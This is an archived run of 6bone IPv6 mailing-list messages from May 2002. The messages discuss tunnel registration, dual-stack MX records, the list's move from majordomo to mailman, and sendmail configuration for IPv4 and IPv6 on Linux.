Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Fri May 10 07:10:49 2002
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list


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From 6bone-owner  Fri May 10 08:04:16 2002
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From: Claudia Cordova Yamauchi <ccordova@inictel.gob.pe>
Organization: Inictel
To: 6BONE@ISI.EDU
Subject: Tunnel-DomainName?
Date: Fri, 10 May 2002 10:05:32 -0500
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Dear all,

I'm trying to register my tunnel, without any success... I have INICTEL-PE 
and we are connecting NITCOM and have some trouble with that DomainName 
thing. 

Syntaxis:
IPv6 in IPv4 <Src DomainName> -> <Dst DomainName> <IPv6-Site> <Protocol>
Src DomainName: INICTEL-PE or 6BONE COMPENDIUM-AR  INICTEL-PE (Bad)
Dst DomainName:NITCOM (Bad)
IPv6-Site: NITCOM (good. I guess :-) )
Protocol: BGP4+ (good. I guess :-) )

How can I get a domain name? 

Thank you in advance
Claudia



From 6bone-owner  Fri May 10 10:17:09 2002
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Subject: RE: Tunnel-DomainName?
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Claudia Cordova Yamauchi" <ccordova@inictel.gob.pe>, <6BONE@ISI.EDU>
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Actually, the <Src DomainName> and <Dst DomainName> are the hostnames
for then endpoint routers (common practice).

Should look like IPv6 in IPv4 yourrouter.inictel.gob.pe ->
theirrouter.nitcom.com NITCOM BGP4+


-----Original Message-----
From: Claudia Cordova Yamauchi [mailto:ccordova@inictel.gob.pe] 
Sent: Friday, May 10, 2002 8:06 AM
To: 6BONE@ISI.EDU
Subject: Tunnel-DomainName?

Dear all,

I'm trying to register my tunnel, without any success... I have
INICTEL-PE 
and we are connecting NITCOM and have some trouble with that DomainName 
thing. 

Syntaxis:
IPv6 in IPv4 <Src DomainName> -> <Dst DomainName> <IPv6-Site> <Protocol>
Src DomainName: INICTEL-PE or 6BONE COMPENDIUM-AR  INICTEL-PE (Bad)
Dst DomainName:NITCOM (Bad)
IPv6-Site: NITCOM (good. I guess :-) )
Protocol: BGP4+ (good. I guess :-) )

How can I get a domain name? 

Thank you in advance
Claudia



From 6bone-owner  Tue May 14 14:43:49 2002
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Date: Tue, 14 May 2002 17:44:01 -0400
From: Patrice Fournier <pfournier@loups.net>
To: 6bone@ISI.EDU
Subject: Preferred method of advertizing a dual-stack mx server
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Hi all,

I currently have my mail server set to accept mail from either an IPv4
address or an IPv6 one (a 2002::/16 address at the moment). and added an
AAAA record to the host that is the MX record. Now, with that change, I've
had a report of at least two users who couldn't mail us (nobody at their
domains could).

As soon as I changed the MX to point a host that only had the A address,
mail started to flow again. 

I know both those place use Lotus Notes internally and the servers that
connect to us are using:
Sendmail AIX4.3/8.9.3/jtpda-5.3.3
Sendmail AIX4.3/8.9.3/8.9.3

I don't know which of Notes or Sendmail AIX is causing this problem but I
was wondering which kind of MX setup you know should work with ALL software
out there?

Now, I have those records:
mail.example.com.      IN A    192.0.2.1
mail.example.com.      IN AAAA 2002:C000:0201::1
mail.ipv4.example.com. IN A    192.0.2.1
mail.ipv6.example.com. IN AAAA 2002:C000:0201::1

If I have this MX setup:
example.net.           IN MX   0 mail.example.com.

it doesn't work, the server never ever try to connect to either ipv6/ipv4
address. (now, I must say that I haven't tested receiving mail on the IPv6
interface other than from the local machine and I can
tracepath6/traceroute6 out of the machine but the sending server MUST try
IPv4 if it can't go through with IPv6, right?)

If I have:
example.net.           IN MX   0 mail.ipv4.example.com.
it works obiously, but now I can't receive mail by IPv6...

Now, would there be a drawback or any other kind of problem by using a
setup such as (and would that be the preferred setup considering that the
first one showed causes problems?):
example.net.           IN MX   0 mail.ipv4.example.com.
example.net.           IN MX   0 mail.ipv6.example.com.

Now, I've got many domains to change, and I'd like to be sure of the
solution before I implement it for all of them...

Thanks,


-- 
Patrice Fournier
pfournier@loups.net

From 6bone-owner  Tue May 14 15:50:59 2002
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Subject: Re: Preferred method of advertizing a dual-stack mx server 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Wed, 15 May 2002 07:48:54 +0900
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>I currently have my mail server set to accept mail from either an IPv4
>address or an IPv6 one (a 2002::/16 address at the moment). and added an
>AAAA record to the host that is the MX record. Now, with that change, I've
>had a report of at least two users who couldn't mail us (nobody at their
>domains could).

	just to make sure:
	are the "two users" dual-stacked, or IPv4 only?  if dual-stacked,
	is IPv6 connectivity between you and "two users" okay?

itojun

From 6bone-owner  Tue May 14 19:39:10 2002
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From: Scott Prader <gnea@garson.org>
To: 6bone@ISI.EDU
Subject: Re: Preferred method of advertizing a dual-stack mx server
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* Patrice Fournier (pfournier@loups.net) cobbled forth:
> Hi all,
> 
> setup such as (and would that be the preferred setup considering that the
> first one showed causes problems?):
> example.net.           IN MX   0 mail.ipv4.example.com.
> example.net.           IN MX   0 mail.ipv6.example.com.

You may want to try changing the MX handlers to the following:

example.net.        IN  MX  10  mail.ipv6.example.com.
example.net         IN  MX  20  mail.ipv4.example.com.

This will simply try to deliver mail to the ipv6-capable host first,
then fall back on the ipv4 host.  The reasoning is that by using the
same priorities will generally cause a round-robin situation, in which
the mail and dns servers won't care which host it goes to, but with a
defined priority schedule if the first host doesn't work it will fall
back to the other host by default instead of becoming confused. HTH

         .oO Gnea [gnea at garson dot org] Oo.
            .oO url [http://gnea.net] Oo.

"You can tune a filesystem, but you can't tune a fish." -Kirk McKusick

From 6bone-owner  Tue May 14 19:57:29 2002
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From: Patrice Fournier <pfournier@loups.net>
To: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Cc: 6bone@ISI.EDU
Subject: Re: Preferred method of advertizing a dual-stack mx server 
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Quoting Jun-ichiro itojun Hagino <itojun@iijlab.net>:

> >I currently have my mail server set to accept mail from either an
> > IPv4 address or an IPv6 one (a 2002::/16 address at the moment).
> > and added an AAAA record to the host that is the MX record. Now,
> > with that change, I've had a report of at least two users who
> > couldn't mail us (nobody at their domains could).
> 
> 	just to make sure:
> 	are the "two users" dual-stacked, or IPv4 only?  if dual-stacked,
> 	is IPv6 connectivity between you and "two users" okay?

AFAIK, they are both IPv4 only... which is what I find the strangest in 
this. 

-- 
Patrice Fournier
pfournier@loups.net

From 6bone-owner  Wed May 15 08:12:29 2002
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Date: Wed, 15 May 2002 16:15:32 +0100
From: Dave Wilson <dave.wilson@heanet.ie>
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Subject: [Fwd: Re: Preferred method of advertizing a dual-stack mx server]
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This is starting to sound like a problem with the remote site's DNS. Any
idea what happens when they try to do an A lookup for mail.example.com?

 > example.net.        IN  MX  10  mail.ipv6.example.com.
 > example.net         IN  MX  20  mail.ipv4.example.com.
 >
 > This will simply try to deliver mail to the ipv6-capable host first,
 > then fall back on the ipv4 host.

Since the vast majority of hosts are working ipv4 hosts, would it be
safe to try

example.net.         IN  MX  10  mail.example.com.
example.net.         IN  MX  20  mail.ipv4.example.com.

--although since we're talking about a broken site here, there's no
guarantee that *any* of the above will work. The site is failing in
unpredictable ways on zones with AAAA records. And if this works for one
site, it might break another 8-)

BTW, if you'd like to test IPv6 SMTP transport, send a mail to
LISTSERV@LISTSERV.HEANET.IE with just the word "thanks" in the body.

Dave


From 6bone-owner  Wed May 15 17:37:07 2002
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From: "Dan Webb" <yeti@bigpond.com>
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Morning all, I've been lurking on this list for almost 12 months trying to
get my head around all of this, (and I'm still lurking) :)

However this morning I just received a 'Welcome to the 6bone mailing list'
email to another email address of mine, that I know I havn't also signed up
on. so it does appear someone/somthing somewhere is adding email addresses
to the list.

This being where all those remove requests are comming from.

Apart from tracking down where the subscriptions are coming from I do agree
with adding a tag line at the bottom with instructions on how to
unsubscribe.

In other news I am learning a lot about the 6-bone :)

Dan

PS the account that was not added by me is yeti@cutthisout.bigpond.com


From 6bone-owner  Wed May 15 20:32:16 2002
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@ISI.EDU>
Subject: RE: 6bone mailing list
Date: Wed, 15 May 2002 23:32:39 -0400
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Hello from Gregg C Levine
Well I don't know. Earlier I did see such a message, it was sent to this
address. So something is working. What it is, remains to be seen. It
could be that the mailman program is learning how to send things, and it
needs to be taught about how we manage our addresses.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of
Dan
> Webb
> Sent: Wednesday, May 15, 2002 8:42 PM
> To: 6bone@ISI.EDU
> Subject: 6bone mailing list
> 
> 
> Morning all, I've been lurking on this list for almost 12 months
trying to
> get my head around all of this, (and I'm still lurking) :)
> 
> However this morning I just received a 'Welcome to the 6bone mailing
list'
> email to another email address of mine, that I know I havn't also
signed up
> on. so it does appear someone/somthing somewhere is adding email
addresses
> to the list.
> 
> This being where all those remove requests are comming from.
> 
> Apart from tracking down where the subscriptions are coming from I do
agree
> with adding a tag line at the bottom with instructions on how to
> unsubscribe.
> 
> In other news I am learning a lot about the 6-bone :)
> 
> Dan
> 
> PS the account that was not added by me is yeti@cutthisout.bigpond.com



From 6bone-owner  Wed May 15 23:39:21 2002
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Date: Thu, 16 May 2002 02:32:59 -0400 (EDT)
From: Dave <dave@dave.tj>
Subject: Re: 6bone mailing list
In-reply-to: <000401c1fc8a$551f8520$8560580c@who>
To: hansolofalcon@worldnet.att.net (Gregg C Levine)
Message-id: <200205160634.g4G6Yx301169@dave2.dave.tj>
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The "mailman" program running the 6bone mailing list seems an awful lot
like a majordomo program ... I'd bet (1 cent, of course - you must pay
the shipping cost for the penny) it's just majordomo masquerading as GNU
mailman (or maybe the more historically correct GNU mailman masquerading
as majordomo?).  Can somebody please clear up the mystery?
BTW - Sorry, Gregg, for the rest of this message ;-)
-------------------
Dave Y Cohen dave@dave.tj
------------------------------------------------------------
(This company dedicates this E-Mail to anybody who hates Star Wars )


Gregg C Levine wrote:
> 
> Hello from Gregg C Levine
> Well I don't know. Earlier I did see such a message, it was sent to this
> address. So something is working. What it is, remains to be seen. It
> could be that the mailman program is learning how to send things, and it
> needs to be taught about how we manage our addresses.
> -------------------
> Gregg C Levine hansolofalcon@worldnet.att.net
> ------------------------------------------------------------
> "The Force will be with you...Always." Obi-Wan Kenobi
> "Use the Force, Luke."  Obi-Wan Kenobi
> (This company dedicates this E-Mail to General Obi-Wan Kenobi )
> (This company dedicates this E-Mail to Master Yoda )
> 
> 
> 
> > -----Original Message-----
> > From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of
> Dan
> > Webb
> > Sent: Wednesday, May 15, 2002 8:42 PM
> > To: 6bone@ISI.EDU
> > Subject: 6bone mailing list
> > 
> > 
> > Morning all, I've been lurking on this list for almost 12 months
> trying to
> > get my head around all of this, (and I'm still lurking) :)
> > 
> > However this morning I just received a 'Welcome to the 6bone mailing
> list'
> > email to another email address of mine, that I know I havn't also
> signed up
> > on. so it does appear someone/somthing somewhere is adding email
> addresses
> > to the list.
> > 
> > This being where all those remove requests are comming from.
> > 
> > Apart from tracking down where the subscriptions are coming from I do
> agree
> > with adding a tag line at the bottom with instructions on how to
> > unsubscribe.
> > 
> > In other news I am learning a lot about the 6-bone :)
> > 
> > Dan
> > 
> > PS the account that was not added by me is yeti@cutthisout.bigpond.com
> 
> 



From 6bone-owner  Wed May 15 23:39:50 2002
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Date: Wed, 15 May 2002 23:35:51 -0400 (EDT)
From: Dave <dave@dave.tj>
Subject: Re: 6bone mailing list
In-reply-to: <NCBBIMMMMKIFMJDEFAPLOEODCFAA.yeti@bigpond.com>
To: yeti@bigpond.com (Dan Webb)
Message-id: <200205160635.g4G6ZRJ01197@dave2.dave.tj>
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LOL ... I got the same message this morning, but it came to the address
I am already subscribed with (dave@dave.tj) ... weird, eh?  I hope I
don't start getting duplicates of all messages now (although I believe
majordomo has automatic duplicate removal) ;-/

 - Dave


Dan Webb wrote:
> 
> 
> Morning all, I've been lurking on this list for almost 12 months trying to
> get my head around all of this, (and I'm still lurking) :)
> 
> However this morning I just received a 'Welcome to the 6bone mailing list'
> email to another email address of mine, that I know I havn't also signed up
> on. so it does appear someone/somthing somewhere is adding email addresses
> to the list.
> 
> This being where all those remove requests are comming from.
> 
> Apart from tracking down where the subscriptions are coming from I do agree
> with adding a tag line at the bottom with instructions on how to
> unsubscribe.
> 
> In other news I am learning a lot about the 6-bone :)
> 
> Dan
> 
> PS the account that was not added by me is yeti@cutthisout.bigpond.com
> 




From 6bone-owner  Thu May 16 01:41:22 2002
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200205160841.g4G8fe815633@boreas.isi.edu>
Subject: Re: {2002.05.669} Converting 6bone to Mailman
To: 6bone@ISI.EDU, kemp@ISI.EDU
Date: Thu, 16 May 2002 01:41:40 -0700 (PDT)
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>From kemp@ISI.EDU  Wed May 15 16:46:11 2002
Subject: Re: {2002.05.669} Converting Mbone & 6bone to Mailman 
Date: Wed, 15 May 2002 16:46:04 -0700


> These lists exist but are not in use meaning the server
> mail aliases for "Mbone" and "6bone" still point to the Majordomo lists.

We have configured the Mbone and 6bone mailing list. Please convert the server
mail aliases for Friday, May 17th by 11am (PDT).

Thank you,

--Joe K.
----- End of forwarded message from Joe Kemp -----


	It seems that Joe Kemp was/is not an approved poster to
	the 6bone/majordomo list so his original notification was
	not sent.

	The 6bone mailing list is in the process of being migrated
	from majordomo to mailman.  You should have received a 
	notice from "mailman" that you are on its version of the
	list.  As the notice above points out, the change to the 
	"live" system is scheduled to occur this friday.

	Note that Joe Kemp will be the new list administrator and
	I'll provide backup.

--bill

From 6bone-owner  Thu May 16 03:47:23 2002
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Date: Thu, 16 May 2002 06:42:37 -0400 (EDT)
From: Dave <dave@dave.tj>
Subject: Re: 6bone mailing list
In-reply-to: <20020516115037.D17897@xs4all.nl>
To: remcovz@xs4all.nl (Remco van Zuijlen)
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Yup, I know.  (I run installations of both majordomo and mailman.)  I was
just hoping for somebody who knows what software the 6bone list is using
to tell us which it is, so I know whether I should get my penny out,
or whether I should be expecting an extra penny :-)

 - Dave


Remco van Zuijlen wrote:
> 
> On Thu, May 16, 2002 at 02:32:59AM -0400, Dave wrote:
> > The "mailman" program running the 6bone mailing list seems an awful lot
> > like a majordomo program ... I'd bet (1 cent, of course - you must pay
> > the shipping cost for the penny) it's just majordomo masquerading as GNU
> > mailman (or maybe the more historically correct GNU mailman masquerading
> > as majordomo?).  Can somebody please clear up the mystery?
> 
> Well, I know majordomo is written in perl, and mailman in Python.. the admin
> part is also much better than the stone age technology of majordomo :)
> 
> Remco
> 
> -- 
> Remco van Zuijlen <remcovz@xs4all.net>
> 
> Hi! I'm a .signature virus! copy me into your .signature file to help me spread!
> 



From 6bone-owner  Thu May 16 04:44:24 2002
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Date: Thu, 16 May 2002 07:40:00 -0400 (EDT)
From: Dave <dave@dave.tj>
Subject: Re: {2002.05.669} Converting 6bone to Mailman
In-reply-to: <200205160841.g4G8fe815633@boreas.isi.edu>
To: bmanning@ISI.EDU (Bill Manning)
Cc: 6bone@ISI.EDU
Message-id: <200205161140.g4GBe0d03344@dave2.dave.tj>
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Oh, yeah ... I was right!  It _is_ really majordomo masquerading as
mailman ... LOL!!!

/me dances around the room :-)

Okay, somebody (who took me up on the bet?) owes me a penny now. . .

 - Dave


Bill Manning wrote:
> 
> >From kemp@ISI.EDU  Wed May 15 16:46:11 2002
> Subject: Re: {2002.05.669} Converting Mbone & 6bone to Mailman 
> Date: Wed, 15 May 2002 16:46:04 -0700
> 
> 
> > These lists exist but are not in use meaning the server
> > mail aliases for "Mbone" and "6bone" still point to the Majordomo lists.
> 
> We have configured the Mbone and 6bone mailing list. Please convert the server
> mail aliases for Friday, May 17th by 11am (PDT).
> 
> Thank you,
> 
> --Joe K.
> ----- End of forwarded message from Joe Kemp -----
> 
> 
> 	It seems that Joe Kemp was/is not an approved poster to
> 	the 6bone/majordomo list so his original notification was
> 	not sent.
> 
> 	The 6bone mailing list is in the process of being migrated
> 	from majordomo to mailman.  You should have received a 
> 	notice from "mailman" that you are on its version of the
> 	list.  As the notice above points out, the change to the 
> 	"live" system is scheduled to occur this friday.
> 
> 	Note that Joe Kemp will be the new list administrator and
> 	I'll provide backup.
> 
> --bill
> 


From 6bone-owner  Thu May 16 06:30:22 2002
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Date: Thu, 16 May 2002 15:30:33 +0200 (CDT)
From: Michael Kjorling <michael@kjorling.com>
X-X-Sender: michael@varg.wolfpack
To: 6bone <6bone@ISI.EDU>
Subject: Re: 6bone mailing list
In-Reply-To: <NCBBIMMMMKIFMJDEFAPLOEODCFAA.yeti@bigpond.com>
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On May 16 2002 09:41 +0900, Dan Webb wrote:

> However this morning I just received a 'Welcome to the 6bone mailing list'
> email to another email address of mine, that I know I havn't also signed up
> on. so it does appear someone/somthing somewhere is adding email addresses
> to the list.

Well, the notice I received was from Mailman, and when I signed up to
the 6bone list it was running on Majordomo, so I figured that it was
migrated.

If this is wrong, please let me know.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)
Comment: Public key is at http://michael.kjorling.com/contact/pgp.html

iD8DBQE847R7KqN7/Ypw4z4RAgj0AJ4sNMs0jS4lpeLwxZm1IruTUNCngwCgkmTq
4Ex/PeFrObym9RMoJMNOMrA=
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From 6bone-owner  Thu May 16 15:51:43 2002
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From: "Allan Edgard Silva Freitas" <allan@cefetba.br>
To: <6Bone@ISI.EDU>
Subject: Some problems with sendmail, Linux and v6
Date: Thu, 16 May 2002 20:01:37 -0300
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This is a multi-part message in MIME format.

--------------InterScan_NT_MIME_Boundary
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	boundary="----=_NextPart_000_00B8_01C1FD14.7CA6E450"

------=_NextPart_000_00B8_01C1FD14.7CA6E450
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi folks,

I get some problems running sendmail in an IPv6/IPv4 Linux box (kernel =
2.4.5 - conectiva a based-RedHat distribution). I compiled both Sendmail =
8.9.1 with WINE patch and Sendmail 8.12 using -DNETINET6 option and I =
see if I use at the same time the two lines below in sendmail.cf:
"O DaemonPortOptions=3DName=3DIPv4, Family=3Dinet"         ("O =
DaemonPortOptions=3DFamily=3Dinet6" in /etc/sendmail6.cf using WINE)
"O DaemonPortOptions=3DName=3DIPv6, Family=3Dinet6"       ("O =
DaemonPortOptions=3DFamily=3Dinet6" in /etc/sendmail6.cf using WINE)

I get no runing sendmail, I can only use:
"O DaemonPortOptions=3DName=3DIPv4, Family=3Dinet"
    or=20
"O DaemonPortOptions=3DName=3DIPv6, Family=3Dinet6"

So, I only could have an IPv6 SMTP Server or an IPv4 SMTP Server but =
never the both running. I had a FreeBSD box, where IPv6 is native and I =
see that the same configuration have no problems in Free. Do anyone know =
some specific bug regarding about this configuration above described? =
Some hint to I overpass it??

Thanks,

Allan Freitas


------=_NextPart_000_00B8_01C1FD14.7CA6E450
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi folks,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I get some problems running sendmail in =
an=20
IPv6/IPv4 Linux box (kernel 2.4.5 - conectiva a based-RedHat =
distribution). I=20
compiled both Sendmail 8.9.1 with WINE patch and Sendmail 8.12 using =
-DNETINET6=20
option and I see if I use at the same time the two lines below in=20
sendmail.cf:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>"O DaemonPortOptions=3DName=3DIPv4, =
Family=3Dinet"=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ("O =
DaemonPortOptions=3DFamily=3Dinet6" in=20
/etc/sendmail6.cf using WINE)<BR>"O DaemonPortOptions=3DName=3DIPv6,=20
Family=3Dinet6"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ("O=20
DaemonPortOptions=3DFamily=3Dinet6" in /etc/sendmail6.cf using =
WINE)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I get no runing sendmail, I can only =
use:</DIV>
<DIV>"O DaemonPortOptions=3DName=3DIPv4, Family=3Dinet"</DIV>
<DIV>&nbsp;&nbsp;&nbsp; or </DIV>
<DIV>"O DaemonPortOptions=3DName=3DIPv6, Family=3Dinet6"<BR></DIV>
<DIV>So, I only could have an IPv6&nbsp;SMTP Server or an IPv4 SMTP =
Server but=20
never the both running. I had a FreeBSD box, where IPv6 is native and I =
see that=20
the same configuration have no problems in Free. Do anyone know some =
specific=20
bug regarding about this configuration above described? Some hint to I =
overpass=20
it??</DIV>
<DIV>&nbsp;</DIV>
<DIV>Thanks,</DIV>
<DIV>&nbsp;</DIV>
<DIV>Allan Freitas</DIV>
<DIV>&nbsp;</DIV></FONT></BODY></HTML>

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From yeti@bigpond.com Thu May 16 17:35:01 2002
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Date: Fri, 17 May 2002 09:39:10 +0900
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Yeah I was a little wrong, it did go to the correct mailing email address,
but my filter didn't catch it for some reason
and sent it to the wrong folder.

Thats what I get for reading and replying to email before my morning
coffee(s) :)

Dan


From pekkas@netcore.fi Thu May 16 22:03:29 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Allan Edgard Silva Freitas <allan@cefetba.br>
cc: 6Bone@ISI.EDU
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Subject: [6bone] Re: Some problems with sendmail, Linux and v6
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On Thu, 16 May 2002, Allan Edgard Silva Freitas wrote:
> I get no runing sendmail, I can only use:
> "O DaemonPortOptions=Name=IPv4, Family=inet"
>     or 
> "O DaemonPortOptions=Name=IPv6, Family=inet6"
> 
> So, I only could have an IPv6 SMTP Server or an IPv4 SMTP Server but
> never the both running. I had a FreeBSD box, where IPv6 is native and I
> see that the same configuration have no problems in Free. Do anyone know
> some specific bug regarding about this configuration above described?
> Some hint to I overpass it??

You must bind one to an IP address, like:

DAEMON_OPTIONS(`port=smtp,Addr=2001:670:86::1, Name=MTA-v6, Family=inet6')

This is due to the way Linux bind() currently works (reason: mapped 
addresses)

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From jorgen@hovland.cx Fri May 17 02:51:25 2002
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Subject: [6bone] Re: Some problems with sendmail, Linux and v6
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In linux, INET6 :: is also INET4 0.0.0.0 (atleast for sendmail)
So you dont need to specify inet if you are using inet6 anyip.


-j
  ----- Original Message -----=20
  From: Allan Edgard Silva Freitas=20
  To: 6Bone@ISI.EDU=20
  Sent: Friday, May 17, 2002 1:01 AM
  Subject: Some problems with sendmail, Linux and v6


  Hi folks,

  I get some problems running sendmail in an IPv6/IPv4 Linux box (kernel =
2.4.5 - conectiva a based-RedHat distribution). I compiled both Sendmail =
8.9.1 with WINE patch and Sendmail 8.12 using -DNETINET6 option and I =
see if I use at the same time the two lines below in sendmail.cf:
  "O DaemonPortOptions=3DName=3DIPv4, Family=3Dinet"         ("O =
DaemonPortOptions=3DFamily=3Dinet6" in /etc/sendmail6.cf using WINE)
  "O DaemonPortOptions=3DName=3DIPv6, Family=3Dinet6"       ("O =
DaemonPortOptions=3DFamily=3Dinet6" in /etc/sendmail6.cf using WINE)

  I get no runing sendmail, I can only use:
  "O DaemonPortOptions=3DName=3DIPv4, Family=3Dinet"
      or=20
  "O DaemonPortOptions=3DName=3DIPv6, Family=3Dinet6"

  So, I only could have an IPv6 SMTP Server or an IPv4 SMTP Server but =
never the both running. I had a FreeBSD box, where IPv6 is native and I =
see that the same configuration have no problems in Free. Do anyone know =
some specific bug regarding about this configuration above described? =
Some hint to I overpass it??

  Thanks,

  Allan Freitas


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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2715.400" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>In linux, INET6 :: is also INET4 =
0.0.0.0 (atleast=20
for sendmail)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>So you dont need to specify inet if you =
are using=20
inet6 anyip.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>-j</FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Dallan@cefetba.br href=3D"mailto:allan@cefetba.br">Allan =
Edgard Silva=20
  Freitas</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A title=3D6Bone@ISI.EDU=20
  href=3D"mailto:6Bone@ISI.EDU">6Bone@ISI.EDU</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Friday, May 17, 2002 1:01 =
AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Some problems with =
sendmail,=20
  Linux and v6</DIV>
  <DIV><FONT face=3DArial size=3D2></FONT><BR></DIV>
  <DIV><FONT face=3DArial size=3D2>Hi folks,</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>I get some problems running sendmail =
in an=20
  IPv6/IPv4 Linux box (kernel 2.4.5 - conectiva a based-RedHat =
distribution). I=20
  compiled both Sendmail 8.9.1 with WINE patch and Sendmail 8.12 using=20
  -DNETINET6 option and I see if I use at the same time the two lines =
below in=20
  sendmail.cf:</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>"O DaemonPortOptions=3DName=3DIPv4, =
Family=3Dinet"=20
  &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ("O =
DaemonPortOptions=3DFamily=3Dinet6" in=20
  /etc/sendmail6.cf using WINE)<BR>"O DaemonPortOptions=3DName=3DIPv6,=20
  Family=3Dinet6"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ("O=20
  DaemonPortOptions=3DFamily=3Dinet6" in /etc/sendmail6.cf using =
WINE)</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>I get no runing sendmail, I can only =
use:</DIV>
  <DIV>"O DaemonPortOptions=3DName=3DIPv4, Family=3Dinet"</DIV>
  <DIV>&nbsp;&nbsp;&nbsp; or </DIV>
  <DIV>"O DaemonPortOptions=3DName=3DIPv6, Family=3Dinet6"<BR></DIV>
  <DIV>So, I only could have an IPv6&nbsp;SMTP Server or an IPv4 SMTP =
Server but=20
  never the both running. I had a FreeBSD box, where IPv6 is native and =
I see=20
  that the same configuration have no problems in Free. Do anyone know =
some=20
  specific bug regarding about this configuration above described? Some =
hint to=20
  I overpass it??</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>Thanks,</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>Allan Freitas</DIV>
  <DIV>&nbsp;</DIV></BLOCKQUOTE></FONT></BODY></HTML>

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From michael@kjorling.com Fri May 17 02:57:30 2002
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Hash: SHA1

On May 16 2002 20:01 -0300, Allan Edgard Silva Freitas wrote:

> I compiled both Sendmail 8.9.1 with WINE patch and Sendmail 8.12
> using -DNETINET6 option and I see if I use at the same time the two
> lines below in sendmail.cf:

> "O DaemonPortOptions=Name=IPv4, Family=inet"         ("O DaemonPortOptions=Family=inet6" in /etc/sendmail6.cf using WINE)
> "O DaemonPortOptions=Name=IPv6, Family=inet6"       ("O DaemonPortOptions=Family=inet6" in /etc/sendmail6.cf using WINE)
>
> I get no runing sendmail, I can only use:
> "O DaemonPortOptions=Name=IPv4, Family=inet"
>     or
> "O DaemonPortOptions=Name=IPv6, Family=inet6"
>
> So, I only could have an IPv6 SMTP Server or an IPv4 SMTP Server but
> never the both running. I had a FreeBSD box, where IPv6 is native
> and I see that the same configuration have no problems in Free. Do
> anyone know some specific bug regarding about this configuration
> above described? Some hint to I overpass it??

Hmmm... I have sendmail accepting connections over both IPv4 and IPv6
on a dual-stacked Linux 2.4.18 box with no problem, and every now and
then I do get a mail in my inbox that has travelled over IPv6 - even
though most are still, obviously, IPv4.

Here's what I have in my sendmail.mc that relates to this:

	dnl DAEMON_OPTIONS(`Port=smtp, Name=MTA-IPv4, Family=inet')
	dnl DAEMON_OPTIONS(`Port=smtp, Name=MTA-IPv6, Family=inet6')
